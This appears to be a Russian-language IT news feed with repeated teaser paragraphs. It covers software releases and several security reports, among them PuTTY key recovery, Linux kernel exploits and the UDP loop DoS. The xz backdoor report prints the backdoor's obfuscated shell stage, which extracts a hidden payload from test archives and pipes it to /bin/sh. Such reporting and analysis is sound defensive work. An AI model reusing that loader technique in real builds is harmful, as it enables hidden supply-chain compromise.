Спустя 10 лет с момента открытия кода MS-DOS 1.25 и 2.0 компания Microsoft объявила об открытии исходных текстов операционной системы MS-DOS 4.0, изначально выпущенной в 1988 году и разработанной совместно с IBM. Код открыт под лицензией MIT, которая позволяет свободно вносить изменения, распространять и использовать в своих продуктах. Кроме кода, в открытом доступе размещена документация и дисковые образы.
Продукт написан на ассемблере для процессоров 8086. Для запуска могут использоваться эмуляторы PCem и 86box. Выпуск MS-DOS 4.0 примечателен возможностью использования графического интерфейса и мыши, поддержкой дисковых разделов больше 32 МБ (до 2 ГБ), добавлением файлового менеджера DOSSHELL, поддержкой EMS (Expanded Memory Specification), командами FASTOPEN и FASTSEEK.
Спустя 10 лет с момента открытия кода MS-DOS 1.25 и 2.0 компания Microsoft объявила об открытии исходных текстов операционной системы MS-DOS 4.0, изначально выпущенной в 1988 году и разработанной совместно с IBM. Код открыт под лицензией MIT, которая позволяет свободно вносить изменения, распространять и использовать в своих продуктах. Кроме кода, в открытом доступе
После года разработки доступен выпуск RT-Thread 5.1, операционной системы реального времени (RTOS) для устройств интернета-вещей. Система развивается с 2006 года сообществом китайских разработчиков и в настоящее время портирована для 154 плат, чипов и микроконтроллеров на базе архитектур x86, ARM, MIPS, С-SKY, Xtensa, ARC и RISC-V. Минималистичная сборка RT-Thread (Nano) требует для работы всего 3 КБ Flash и 1.2 КБ ОЗУ. Для IoT-устройств, сильно не ограниченных в ресурсах, предлагается полнофункциональная версия, поддерживающая управление пакетами, конфигураторы, сетевой стек, пакеты с реализацией графического интерфейса, системы голосового управления, СУБД, сетевых сервисов и движков для выполнения скриптов. Код написан на языке Си и распространяется под лицензией Apache 2.0.
Операционную систему образуют три базовых слоя:
- Ядро, обеспечивающее выполнение задач в режиме реального времени. Ядро предоставляет универсальные базовые примитивы, охватывающие такие области, как управление блокировками и синхронизацией данных, планирование задач, управление потоками, обработка сигналов, очереди сообщений, управление таймером, управление памятью. Специфичные для аппаратного обеспечения особенности реализованы на уровне libcpu и BSP, которые включают необходимые драйверы и код для поддержки CPU. - Компоненты и сервисы, работающие поверх ядра и предлагающие такие абстракции как виртуальная файловая система, система обработки исключений, хранилище в формате ключ/значение, интерфейс командной строки FinSH, сетевой стек (LwIP) и сетевые фреймворки, библиотеки для поддержки устройств, звуковая подсистема, беспроводной стек, компоненты для поддержки Wi-Fi, LoRa, Bluetooth, 2G/4G. Модульная архитектура позволяет подключать компоненты и сервисы в зависимости от своих задач и имеющихся аппаратных ресурсов. - Пакеты программ. Программные компоненты общего назначения и библиотеки функций распространяются и устанавливаются в форме пакетов. В настоящее время репозиторий включает более 450 пакетов, предлагающих от графических интерфейсов, мультимедийных приложений и сетевых приложений до систем управления роботами и обработчиков на базе машинного обучения. В пакетах также поставляются движки для организации выполнения программ на языках Lua, JerryScript, MicroPython, PikaScript и Rust (rtt_rust).
- Расширяемая модульная архитектура, позволяющая сформировать окружение, подходящее для систем с ограниченными ресурсами (минимальные требования - 3 КБ Flash и 1.2 КБ ОЗУ). - Поддержка различных стандартных интерфейсов для разработки программ, таких как POSIX, CMSIS, C++ API. Отдельно развивается прослойка RTduino для совместимости с API и библиотеками проекта Arduino. - Возможность расширения через систему пакетов и подключаемых компонентов. - Поддержка разработки приложения для высокопроизводительной обработки информации. - Гибкая система управления питанием, позволяющая автоматически переводить устройство в режим сна и динамически управлять напряжением и частотой в зависимости от нагрузки. - Поддержка аппаратных средств для шифрования и расшифровки, предоставление библиотек с различными криптографическими алгоритмами. - Унифицированный интерфейс для доступа к периферийным устройствам и дополнительному оборудованию. - Виртуальная ФС и наличие драйверов для таких ФС, как FAT, UFFS, NFSv3, ROMFS и RAMFS. - Стек протоколов для TCP/IP, Ethernet, Wi-Fi, Bluetooth, NB-IoT, 2G/3G/4G, HTTP, MQTT, LwM2M и т.п. - Система удалённой доставки и установки обновлений, поддерживающая шифрование и верификацию по цифровой подписи, возобновление прерванной установки, восстановление после сбоя, откат изменений и т.п. - Система динамически загружаемых модулей ядра, позволяющая отдельно собирать и разрабатывать компоненты ядра, и динамически загружать их при появлении необходимости. - Поддержка различных сторонних пакетов, например, Yaffs2, SQLite, FreeModbus, Canopen и т.п. - Возможность прямой компиляции BSP-пакета (Board Support Package) с компонентами для поддержки определённой аппаратной платформы, и его загрузки на плату. - Наличие эмулятора (BSP qemu-vexpress-a9), позволяющего разрабатывать приложения без использования реальных плат. - Поддержка типовых компиляторов и инструментов для разработки, таких как GCC, MDK Keil и IAR. - Развитие собственной интегрированной среды разработки RT-Thread Studio IDE, позволяющей создавать и отлаживать приложения, загружать их на платы, управлять настройками. Плагины для разработки программ для RT-Thread также доступны для Eclipse и VS Code. - Наличие консольного интерфейса Env, упрощающего создание проектов и настройку окружения.
Среди изменений в новом выпуске:
- В RT-Smart, гибридной операционной системе на базе RT-Thread, отделяющей приложения от ядра, включена по умолчанию поддержка механизмов epoll, eventfd, signalfd, timerfd и select. Реализована подсистема эмулятора терминала. Добавлена поддержка устройств DFZU2EG MPSoC и cv181x-riscv. - В RTduino, слой для обеспечения совместимости с экосистемой Arduino, добавлена поддержка плат raspberry-pico, stm32h503-st-nucleo, stm32h563-st-nucleo, stm32f412-nucleo, stm32f407-rt-spark. - Обновлены сторонние компоненты, такие как ssh, sftp, weston и vim. - Добавлена поддержка новых плат и чипов, таких как HPMicro RISC-V, STM32 Nucleo, Adafruit Metro M4, Seeed Wio-Terminal, ST (stm32L431_tencentos, stm32h7s7-disco, stm32f407-lckfb-skystar, stm32h503-st-nucleo), Renesas (ek-ra8m1, ek-ra8d1, ra8d1-vision-board), AT32 (at32f402-start, at32f405-start), HT32 (ht32f52352, ht32f12366, AVR32 at32uc3a0256, at32uc3b0256), CVITEK (c906_little, cv18xx_risc-v), WCH (yd-ch32v307vct6), HC32 (ev_hc32f4a0_lqfp176, ev_hc32f460_lqfp100_v2), (ev_hc32f448_lqfp80, GD32 gd32407v-lckfb), NXP (frdm-mcxn947, frdm-mcxa153). - Оптимизирована работа планировщиков задач и CPU. Добавлена прослойка для абстрагирования планировщика rt_sched. - Проведена оптимизация работы на многоядерных системах. - Предоставлена возможность подключения обработчиков к операциям выделения памяти malloc. - Для архитектур ARM64 и RV64 реализована поддержка обратной трассировки (backtrace) ядра. - Продолжен переход на новую модель драйверов устройств. - В virtio-драйверах qemu-virt64-aarch64 и qemu-virt64-riscv добавлена поддержка SDL2. - Добавлен фреймворк для разработки драйверов clk. - В DFS добавлена конфигурация exfat. Ядро по умолчанию переведено на использование ФС dfsv2. - Улучшена поддержка TTY-терминалов. - В системе ввода/вывода добавлена поддержка флагов O_DIRECT и O_SYNC. - В реализации легковесных процессов lwP (Lightweight Process) функция wp_new заменена на lwp_create. Добавлена функция sys_setitimer. - В менеджер памяти MM добавлена поддержка резервирования памяти и реализована функция rt_aspace_mremap_range. - В Libcpu добавлена поддержка процессоров ARM Cortex-M85 и Cortex-R52
После года разработки доступен выпуск RT-Thread 5.1, операционной системы реального времени (RTOS) для устройств интернета-вещей. Система развивается с 2006 года сообществом китайских разработчиков и в настоящее время портирована для 154 плат, чипов и микроконтроллеров
Бенджамин Саммертон (Benjamin Summerton), автор системы трассировки лучей PSRayTracing, проанализировал влияние на производительность приложений использование в коде на языке С++ ключевого слова "final", появившегося в стандарте C++11. Причиной проведения тестирования послужили витающие в сети заявления, что использование "final" позволяет повысить производительность, которые ограничивались оценочными суждениями без указания результатов изменений.
Проведённое Бенджамином тестирование показало, что производительность при использовании "final" сильно зависит от компилятора. При сборке в GCC действительно в заметном числе случаев производительность возрастала, но при сборке в Clang и MSVC производительность в большинстве случаев снижалась, причём более ощутимо. При этом большое влияние, кроме компилятора, имела платформа, например, проседание производительности больше проявлялись на системе с CPU AMD Ryzen 9 6900HX, чем на системе с CPU Apple M1.
Например, на системе AMD Ryzen 9 6900HX с Ubuntu 23.10 при сборке в Clang в 90% тестов при использовании "final" наблюдалось замедление работы как минимум на 5%, но в 2.5% случаев фиксировалось ускорение как минимум на 5%. Для GCC замедление на 5% фиксировалось в 0.9% случаев, а ускорение на 5% - в 15.8% случаев. В MSVC 5% замедление наблюдалось в 26.2% тестов, а 5% ускорение - 13.3%. Для себя автор исследования сделал вывод о необходимости избегать использование "final".
Бенджамин Саммертон (Benjamin Summerton), автор системы трассировки лучей PSRayTracing, проанализировал влияние на производительность приложений использование в коде на языке С++ ключевого слова "final", появившегося в стандарте C++11. Причиной проведения тестирования послужили витающие в сети заявления, что использование "final" позволяет повысить производительность, которые ограничивались оценочными суждениями без указания...
Линус Торвальдс отказался принимать в ядро изменение, заменяющее символ табуляции на пробел в разделителе параметра FTRACE_RECORD_RECURSION_SIZE в конфигурации ядра Kconfig. Изменение было предложено разработчиком проекта Fedora с примечанием, что использование табуляций приводит к сбою в работе парсера конфигурации. Вместо предложенного изменения Линус включил в ядро свой патч, специально добавляющий символы табуляции в определение настройки PAGE_SHIFT, задающей смещение для различных размеров страниц памяти.
Добавление табуляций в настройки, более значительные, чем FTRACE_RECORD_RECURSION_SIZE, объясняется тем, что в файле с настройками ядра допускается использование как пробелов, так и табуляций, поэтому если парсер не может нормально разобрать строку с табуляцией - это проблема парсера, которая должна быть устранена в нём. Команда "make defconfig" корректно принимает табуляции, поэтому и внешние парсеры тоже должны их обрабатывать.
Присутствие в поставляемом в ядре Kconfig не только пробелов, но и табуляций, позволит выявлять проблемные парсеры и стимулировать их исправление. Идея подгонять ядро под сбойные парсеры воспринимается как ущербная, так как даже если в эталонном Kconfig всегда будут только пробелы, обычный пользователь волен использовать табуляции в настройках на своих системах и подобное использование может привести к сбоям в неисправленных сторонних парсерах.
Линус Торвальдс отказался принимать в ядро изменение, заменяющее символ табуляции на пробел в разделителе параметра FTRACE_RECORD_RECURSION_SIZE в конфигурации ядра Kconfig. Изменение было предложено разработчиком проекта Fedora с примечанием, что использование табуляций приводит к сбою в работе парсера конфигурации. Вместо предложенного изменения Линус включил в ядро свой
В PuTTY, клиенте для протокола SSH, пользующегося популярностью на платформе Windows, выявлена опасная уязвимость (CVE-2024-31497), позволяющая воссоздать закрытый ключ пользователя, сгенерированный с использованием алгоритма ECDSA с эллиптической кривой NIST P-521 (ecdsa-sha2-nistp521). Для подбора закрытого ключа достаточно проанализировать примерно 60 цифровых подписей, сформированных проблемным ключом.
Уязвимость проявляется начиная с версии PuTTY 0.68 и также затронула продукты, в состав которых включены уязвимые версии PuTTY, например, FileZilla (3.24.1 - 3.66.5), WinSCP (5.9.5 - 6.3.2), TortoiseGit (2.4.0.2 - 2.15.0) и TortoiseSVN (1.10.0 - 1.14.6). Проблема устранена в обновлениях PuTTY 0.81, FileZilla 3.67.0, WinSCP 6.3.3 и TortoiseGit 2.15.0.1. После установки обновления пользователям рекомендуется сгенерировать новые ключи и удалить старые открытые ключи из файлов authorized_keys.
Уязвимость вызвана беспечностью разработчиков, которые для генерации 521-битного ключа использовали вектор инициализации (nonce) на основе 512-битной случайной последовательности, вероятно, посчитав что энтропии в 512 бит будет достаточно и оставшиеся 9 бит не имеют принципиального значения. В итоге, во всех закрытых ключах, созданных в PuTTY с использованием алгоритма ecdsa-sha2-nistp521, первые 9 бит вектора инициализации всегда принимали нулевые значения.
Для ECDSA и DSA качество генератора псевдослучайных чисел и полное покрытие случайными данными параметра, используемого при вычислении модуля, имеет принципиальное значение, так как определение даже нескольких битов с информацией о векторе инициализации достаточно для совершения атаки по последовательному восстановлению всего закрытого ключа. Для успешного восстановления ключа достаточно наличия открытого ключа и анализа нескольких десятков цифровых подписей, сгенерированных с использованием проблемного ключа для известных атакующему данных. Атака сводится к решению задачи HNP (Hidden Number Problem).
Необходимые цифровые подписи можно получить, например, при подключении пользователя к SSH-серверу атакующего или к Git-серверу, использующему SSH в качестве транспорта. Необходимые для атаки подписи также можно узнать, если ключ использовался для заверения произвольных данных, например, git-коммитов при применении SSH-агента Pageant для перенаправления трафика на хост разработчика. Получение необходимых для восстановления ключа данных в ходе MITM-атаки исключено, так как подписи в SSH не передаются в открытом виде.
Отмечается, что похожее использование неполных векторов инициализации применялось в PuTTY и для других видов эллиптических кривых, но для алгоритмов, отличных от ECDSA P-521, возникших утечек информации недостаточно для реализации работающей атаки по восстановлению ключа. Ключи ECDSA другого размера и ключи Ed25519 атаке не подвержены.
В PuTTY, клиенте для протокола SSH, пользующегося популярностью на платформе Windows, выявлена опасная уязвимость (CVE-2024-31497), позволяющая воссоздать закрытый ключ пользователя, сгенерированный с использованием алгоритма ECDSA с эллиптической кривой
В открытом доступе обнаруженыдваэксплоита, в которых задействована ранее неизвестная уязвимость в драйвере n_gsm, входящем в состав ядра Linux. Уязвимость позволяет непривилегированному локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. CVE-идентификатор не присвоен. Проблема пока остаётся неисправленной.
Драйвер n_gsm предоставляет реализацию протокола GSM 07.10, используемого в GSM-модемах для мультиплексирования соединений к последовательному порту. Уязвимость вызвана состоянием гонки в обработчике ioctl GSMIOC_SETCONF_DLCI, используемом для обновления конфигурации DLCI (Data Link Connection Identifier). Через манипуляции с ioctl можно добиться обращения к памяти после её освобождения (use-after-free).
Эксплоит может использоваться на системах с ядрами Linux, начиная с 5.15 и заканчивая 6.5. Например, успешное получение root-доступа продемонстрировано в Fedora, Ubuntu 22.04 с ядром 6.5 и в Debian 12 с ядром 6.1. Начиная с ядра 6.6 для эксплуатации требуются права доступа CAP_NET_ADMIN. В качестве обходного пути блокирования уязвимости можно запретить автоматическую загрузку модуля ядра n_gsm, добавив в файл /etc/modprobe.d/blacklist.conf строку "blacklist n_gsm".
Примечательно, что в январе была раскрыта информация о другой уязвимости (CVE-2023-6546) в драйвере n_gsm, для которой также публично доступен эксплоит. Данная уязвимость не пересекается с первой проблемой, хотя также вызвана обращением к памяти после освобождения при работе со структурой gsm_dlci, но в обработчике ioctl GSMIOC_SETCONF. Проблема исправлена в августе прошлого года (исправление вошло в состав ядра 6.5).
В открытом доступе обнаруженыдваэксплоита, в которых задействована ранее неизвестная уязвимость в драйвере n_gsm, входящем в состав ядра Linux. Уязвимость позволяет непривилегированному локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. CVE-идентификатор не присвоен. Проблема пока остаётся неисправленной.
Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.
В частности, перехватываемая бэкдором функция RSA_public_decrypt проверяет подпись хоста, используя фиксированный ключ Ed448, и в случае успешной проверки выполняет переданный внешним хостом код при помощи функции system() на стадии до сброса привилегий процессом sshd. Данные, содержащие код для исполнения, извлекаются из параметра "N", переданного в функцию RSA_public_decrypt (поле "n" из структуры rsa_st, содержащей переданный внешним хостом открытый ключ), проверяются по контрольной сумме и расшифровываются при помощи предопределённого ключа ChaCha20 на стадии до верификации цифровой подписи Ed448.
В качестве признака для активации бэкдора в sshd используется штатный механизм обмена хостовыми ключами. Бэкдор пользуется тем, что сертификаты OpenSSH включают открытый ключ лица, сформировавшего подпись, и реагирует только на ключ, подготовленный злоумышленником и соответствующий предопределённому фиксированному ключу Ed448. Если верификация подписи по открытому ключу не проходит или если целостность данных для исполнения не подтверждается, бэкдор возвращает управление штатным функциям SSH.
Так как закрытый ключ злоумышленника неизвестен, невозможно реализовать проверочный код, который позволил бы активировать бэкдор и реализовать сканер скомпрометированных хостов в сети. Исследователями подготовлен скрипт, демонстрирующий технику подстановки открытого ключа с произвольным содержимым в передаваемый SSH-клиентом сертификат OpenSSH, который будет обработан в перехваченной бэкдором функции RSA_public_decrypt.
Исследователи также заметили наличие конструкции, обезвреживающей бэкдор (killswitch) на локальной системе при наличии выставленной перед запуском sshd переменой окружения "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".
Дополнительно можно отметить детальный разбор shell-конструкций, используемых для запутывания процесса извлечения объектного файла с бэкдором и его подстановки в библиотеку liblzma. Во время сборки пакета xz из скрипта build-to-host.m4 запускался код, который находил среди тестовых файлов архив bad-3-corrupt_lzma2.xz, заменял в нём некоторые символы, превращал в неповреждённый архив и извлекал из него shell-скрипт.
Полученный shell-скрипт по кусочкам извлекал из содержимого архива good-large_compressed.lzma ещё один shell-скрипт, пропуская определённые последовательности командами head и tail, и заменяя символы командой tr.
####Hello####
# a few binary bytes here, but as it's a comment they are ignorred
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
В результате формировался достаточно сложный и объёмный shell-скрипт, извлекающий непосредственно файл с бэкдором из архива good-large_compressed.lzma, расшифровывающий его и встраивающий в liblzma. Среди прочего в скрипте присутствовала реализация механизма плагинов, позволяющая впоследствии поставлять дополнительные исполняемые компоненты через размещение новых тестовых архивов, не меняя good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а используя поиск по сигнатуре. В коде также был задействован дешифровщик на базе алгоритма RC4, реализованный на языке AWK:
Доступны предварительные результаты обратного инжиниринга вредоносного объектного файла, встроенного в liblzma в результате кампании по продвижению бэкдора в пакет xz. Изначально предполагалось, что бэкдор позволяет обойти аутентификацию в sshd и получить доступ к системе через SSH. Более детальный анализ показал, что это не так и бэкдор предоставляет возможность выполнить произвольный код в системе, не оставляя следов в логах sshd.
Предположительно бэкдор в пакет xz был внедрён разработчиком Jia Tan, который в 2022 году получил статус сопровождающего и выпускал релизы начиная с версии 5.4.2. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded, и был включён в число мэйнтейнеров проекта XZ Embedded, используемого в ядре Linux.
В организации продвижения бэкдора также замечены ещё два участника - Jigar Kumar и Hans Jansen, которые, судя по всему, являются виртуальными персонажами. Jigar Kumar в апреле 2022 года способствовал принятию в xz ранних патчей Jia Tan c реализацией поддержки строковых фильтров и оказывал моральное давление на Lasse Collin, тогдашнего сопровождающего, критикуя, что он не способен выполнять свои обязанности и не принимает полезные патчи. В июне Lasse Collin согласился, что проекту нужен новый сопровождающий, посетовал на выгорание и проблемы с психическим здоровьем, и передал право мэйнтейнера Jia Tan. После этого пользователь Jigar Kumar больше не появлялся в рассылке.
Получив права мэйнтейнера Jia Tan стал активно добавлять изменения в проект и по статистике за два года занял второе место среди разработчиков по числу изменений. В марте 2023 года ответственный за тестирование пакета xz в сервисе oss-fuzz был заменён с Lasse Collin на Jia Tan, а в июне в состав xz были приняты изменения, добавляющие в liblzma поддержку механизма IFUNC (конструктор crc64_fast был заменён на ifunc), который позднее был задействован для организации перехвата функций в бэкдоре. Изменение предложил Hans Jansen, а Jia Tan принял его в состав xz. Учётная запись Hans Jansen была создана непосредственно перед отправкой pull-запроса.
В июле 2023 года Jia Tan отправил разработчикам oss-fuzz запрос на отключение проверки ifunc из-за его несовместимости с режимом "-fsanitize=address". В начале февраля 2024 года ссылка на сайт проекта в oss-fuzz и на главной странице tukaani.org была изменена с "tukaani.org/xz/" на "xz.tukaani.org", где поддомен "xz.tukaani.org" размещался в сервисе GitHub Pages и контролировался лично Jia Tan. 23 февраля в репозитории xz были размещены архивы для тестирования работы декодировщика, среди которых были файлы bad-3-corrupt_lzma2.xz и good-large_compressed.lzma со скрытым бэкдором.
17 марта Hans Jansen, разработавший ранее патчи с поддержкой IFUNC, был зарегистрирован в качестве участника проекта Debian, а 25 марта им был отправлен запрос на обновление версии пакета xz-utils в репозитории Debian. Запросы на обновление версии также поступили разработчикам Fedora и Ubuntu (в Ubuntu репозиторий был на стадии заморозки и изменение было отклонено).
К просьбам обновить версию xz также присоединились некоторые пользователи, заявлявшие, что в новой версии устранены мешающие работе сбои, выявляемые при отладке в valgrind (проблемы возникали из-за некорректного определения раскладки стека в обработчике бэкдора и эти проблемы разработчики бэкдора постарались устранить в версии xz 5.6.1). Сбоем также заинтересовался Andres Freund, сотрудник Microsoft, участвующий в разработке PostgreSQL, который выявил наличие бэкдора и оповестил об этом сообщество.
Предположительно бэкдор в пакет xz был внедрён разработчиком Jia Tan, который в 2022 году получил статус сопровождающего и выпускал релизы начиная с версии 5.4.2. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и
В Netfilter, подсистеме ядра Linux, используемой для фильтрации и модификации сетевых пакетов, выявлена уязвимость (CVE-2024-1086), позволяющая локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. Проблема вызвана двойным освобождением памяти (double-free) в модуле nf_tables, обеспечивающем работу пакетного фильтра nftables. Выявивший уязвимость исследователь безопасности разработал и опубликовал рабочий прототип эксплоита.
Работа эксплоита продемонстрирована в актуальных выпусках Debian и Ubuntu с ядрами Linux 5.14 - 6.6, а также в окружении с ядром KernelCTF (Capture the Flag), включающем дополнительные патчи для блокирования типовых методов работы эксплоитов и используемом компанией Google в программе выплаты вознаграждений за поиск уязвимостей. Степень успешности работы эксплоита оценивается в 99.4%. В сопроводительной статье детально разобран процесс создания сложного многоуровневого эксплоита и обход присутствующих в ядре механизмов защиты и противодействия работе эксплоитов.
Проблема связана с ошибкой в функции nft_verdict_init(), которая допускает использования положительных значений в качестве кода ошибки отбрасывания пакетов (DROP) в hook-ах, что может быть использовано для вызова в функции nf_hook_slow() повторной операции освобождения памяти для буфера, для которого уже была вызвана функция free(). Проблема возникает, когда операция NF_DROP формируется с ошибкой и ядро вначале интерпретирует NF_DROP, но затем освобождает буфер и возвращает статус NF_ACCEPT. Данная ситуация приводит к тому, что несмотря на освобождение связанного с пакетом буфера, его обработка не прекращается, а передаётся в другой обработчик, который в свою очередь второй раз вызывает функцию освобождения памяти.
Уязвимость проявляется начиная с версии ядра Linux 3.15, но эксплоит работает с ядрами начиная с версии 5.14. Исправление уязвимости предложено в выпуске ядра Linux 6.8-rc1 и в конце февраля перенесено в стабильные ветки 5.15.149, 6.1.76 и 6.6.15. В дистрибутивах проследить за исправлением уязвимости можно на страницах: Debian, Ubuntu, Gentoo, RHEL, SUSE, Fedora, Arch.
Дополнительно можно отметить серию уязвимостей в модуле ksmbd, предлагающем встроенную в ядро Linux реализацию файлового сервера на базе протокола SMB: УязвимостьCVE-2024-26592 позволяет удалённо без прохождения аутентификации добиться выполнения своего кода с правами ядра на системах с активированным модулем ksmbd. Проблема вызвана состоянием гонки в коде обработки TCP-соединения, которое возникает из-за отсутствия выставления должных блокировок при работе с объектом.
УязвимостьCVE-2023-52440 также позволяет удалённо добиться выполнения своего кода с правами ядра, но вызвана переполнением буфера при обработке некорректных сессионных ключей из-за отсутствия должной проверки размера данных, полученных от пользователя, перед их копированием в буфер фиксированного размера.
Уязвимости (1, 2, 3) CVE-2024-26594, CVE-2023-52442 и CVE-2023-52441 в ksmbd дают возможность удалённо без прохождения аутентификации определить содержимое памяти ядра. Уязвимость CVE-2024-26594 вызвана некорректной проверкой данных при обработке поступивших токенов SMB2 Mech, что приводит к возвращению данных из области за границей буфера. Уязвимость CVE-2023-52442 вызвана отсутствием должной проверки входных данных при обработке связанных в цепочку (chained) запросов. Уязвимость CVE-2023-52441 вызвана отсутствием необходимой проверки входных данных при обработке запросов согласования соединения SMB2.
Уязвимости CVE-2024-26594 и CVE-2024-26592 устранены в ядре 6.8 и корректирующих обновлениях прошлых стабильных веток 6.1.75, 6.6.14, 6.7.2. Остальные уязвимости устранены в ядре 6.5 и обновлениях 5.15.145, 6.1.53, 6.4.16.
В заключение можно упомянуть активацию работы новой команды разработчиков ядра Linux, созданной для анализа наличия уязвимостей и оценки связи вносимых в ядре исправлений с проблемами безопасности. В феврале разработчиками ядра была создана собственная служба CNA (CVE Numbering Authority), которая получила полномочия самостоятельного присвоения CVE-идентификаторов уязвимостям. До этого присвоение CVE и анализ связи исправлений с возможными уязвимостями ложился на плечи разработчиков дистрибутивов, а в ядре потенциальные уязвимости не оставались выделены и фигурировали наравне с обычными исправлениями. Результаты работы новой службы превзошли все ожидания - ежедневно в ядре помечается до нескольких десятков новых уязвимостей, которые ранее не были помечены как проблемы с безопасностью. Например, 26 марта новые CVE-идентификаторы присвоены 14 уязвимостям, которые ранее не рассматривались как проблемы с безопасностью, а 25 марта - 41 уязвимости.
В Netfilter, подсистеме ядра Linux, используемой для фильтрации и модификации сетевых пакетов, выявлена уязвимость (CVE-2024-1086), позволяющая локальному пользователю выполнить код на уровне ядра и поднять свои привилегии в системе. Проблема вызвана двойным освобождением памяти (double-free) в модуле nf_tables, обеспечивающем работу пакетного фильтра nftables. Выявивший уязвимость исследователь безопасности разработал и
Координационный центр CERT (компьютерная группа реагирования на чрезвычайные ситуации), опубликовал предупреждение о серии уязвимостей в реализациях различных прикладных протоколов, использующих в качестве транспорта протокол UDP. Уязвимости могут использоваться для организации отказа в обслуживании из-за возможности зацикливания обмена пакетами между двумя хостами. Например, атакующие могут добиться исчерпания доступной пропускной способности сети, блокирования работы сетевых сервисов (например, через создание высокой нагрузки и превышение ограничения интенсивности запросов) и реализации усилителей трафика для DDoS-атак.
Из протоколов, некоторые реализации которых подвержены уязвимости, упоминаются DNS, NTP, TFTP, Echo (RFC862), Chargen (RFC864) и QOTD (RFC865). Наличие уязвимости (CVE-2024-2169) подтверждено в отдельных продуктах компаний Cisco, Microsoft, Broadcom, Brother, Honeywell (CVE-2024-1309) и MikroTik. В качестве обходных мер для блокирования уязвимостей рекомендуется включить на межсетевом экране блокировку спуфинга (uRPF), ограничить доступ к лишним UDP-сервисам и настроить ограничение интенсивности трафика (rate-limit и QoS).
Уязвимости обусловлены незащищённостью протокола UDP от спуфинга адресов - при отсутствии на транзитных маршрутизаторах защиты от спуфинга атакующий может указать в UDP-пакете IP-адрес произвольного сервера и отправить этот пакет на другой сервер, который вернёт ответ на указанный поддельный адрес. Метод атаки сводится к созданию ситуации с зацикливанием обмена пакетами между серверами, использующими уязвимые реализации протокола. Например, в ответ на поступивший пакет целевой сервер может отправить ответ с кодом ошибки, а сервер, адрес которого подставил атакующий, вернёт свой ответ, который, в свою очередь опять приведёт к возврату пакета с кодом ошибки. Таким образом, серверы до бесконечности начнут играть между собой пакетами в "пинг-понг".
Примечательно, что подобный метод атаки не нов и в сервере синхронизации времени ntpd один из вариантов атаки был устранён ещё в 2009 году (CVE-2009-3563) в версиях 4.2.4p8 и 4.2.5. Атака сводилась к отправке NTP-пакета с подставным адресом и выставленным флагом MODE_PRIVATE, при обработке которого целевой сервер возвращал ответ о невозможности использования приватного режима, оставляя в ответе выставленным флаг MODE_PRIVATE. Соответственно другой сервер также не мог обработать данный флаг и возвращал свой ответ, что приводило к зацикливанию обмена пакетами между двумя NTP-серверами. Для протокола DNS предупреждение о возможности совершения подобной атаки опубликовано ещё в 1996 году.
Глобальное сканирование адресов в интернете показало, что в настоящее время в сети присутствует как минимум 23 тысячи уязвимых TFTP-серверов, 63 тысячи DNS-серверов, 89 тысяч NTP-серверов, 56 тысяч сервисов Echo/RFC862, 22 тысячи сервисов Chargen/RFC864 и 21 тысяча сервисов QOTD/RFC865. Предполагается, что в случае NTP-серверов наличие неисправленной уязвимости связано с использованием очень старых версий ntpd, выпущенных до 2010 года. Сервисы Echo, Chargen и QOTD уязвимы изначально в силу своей архитектуры. Ситуация с серверами TFTP и DNS требует разбирательства с их администраторами. Серверы atftpd и tftpd проблеме не подвержены, так как используют случайный номер исходного сетевого порта при отправке ответа. Из уязвимых DNS-серверов упоминается dproxy-nexgen. В продуктах Microsoft проблема проявляется в WDS (Windows Deployment Services), а в продуктах Cisco проблема присутствует в маршрутизаторах серий 2800 и 2970.
Координационный центр CERT (компьютерная группа реагирования на чрезвычайные ситуации), опубликовал предупреждение о серии уязвимостей в реализациях различных прикладных протоколов, использующих в качестве транспорта протокол UDP. Уязвимости могут использоваться для организации отказа в обслуживании из-за возможности зацикливания обмена пакетами между двумя хостами. Например, атакующие могут добиться исчерпания доступной...
Компания Intel раскрыла сведения о микроархитектурной уязвимости (CVE-2023-28746) в процессорах Intel Atom (E-core), позволяющей определить данные, используемые процессом, до этого выполнявшемся на том же ядре CPU. Уязвимость, которая получила кодовое имя RFDS (Register File Data Sampling), вызвана возможностью определения остаточной информации из регистровых файлов (RF, Register File) процессора, которые используются для совместного хранения содержимого регистров во всех задачах на том же ядре CPU.
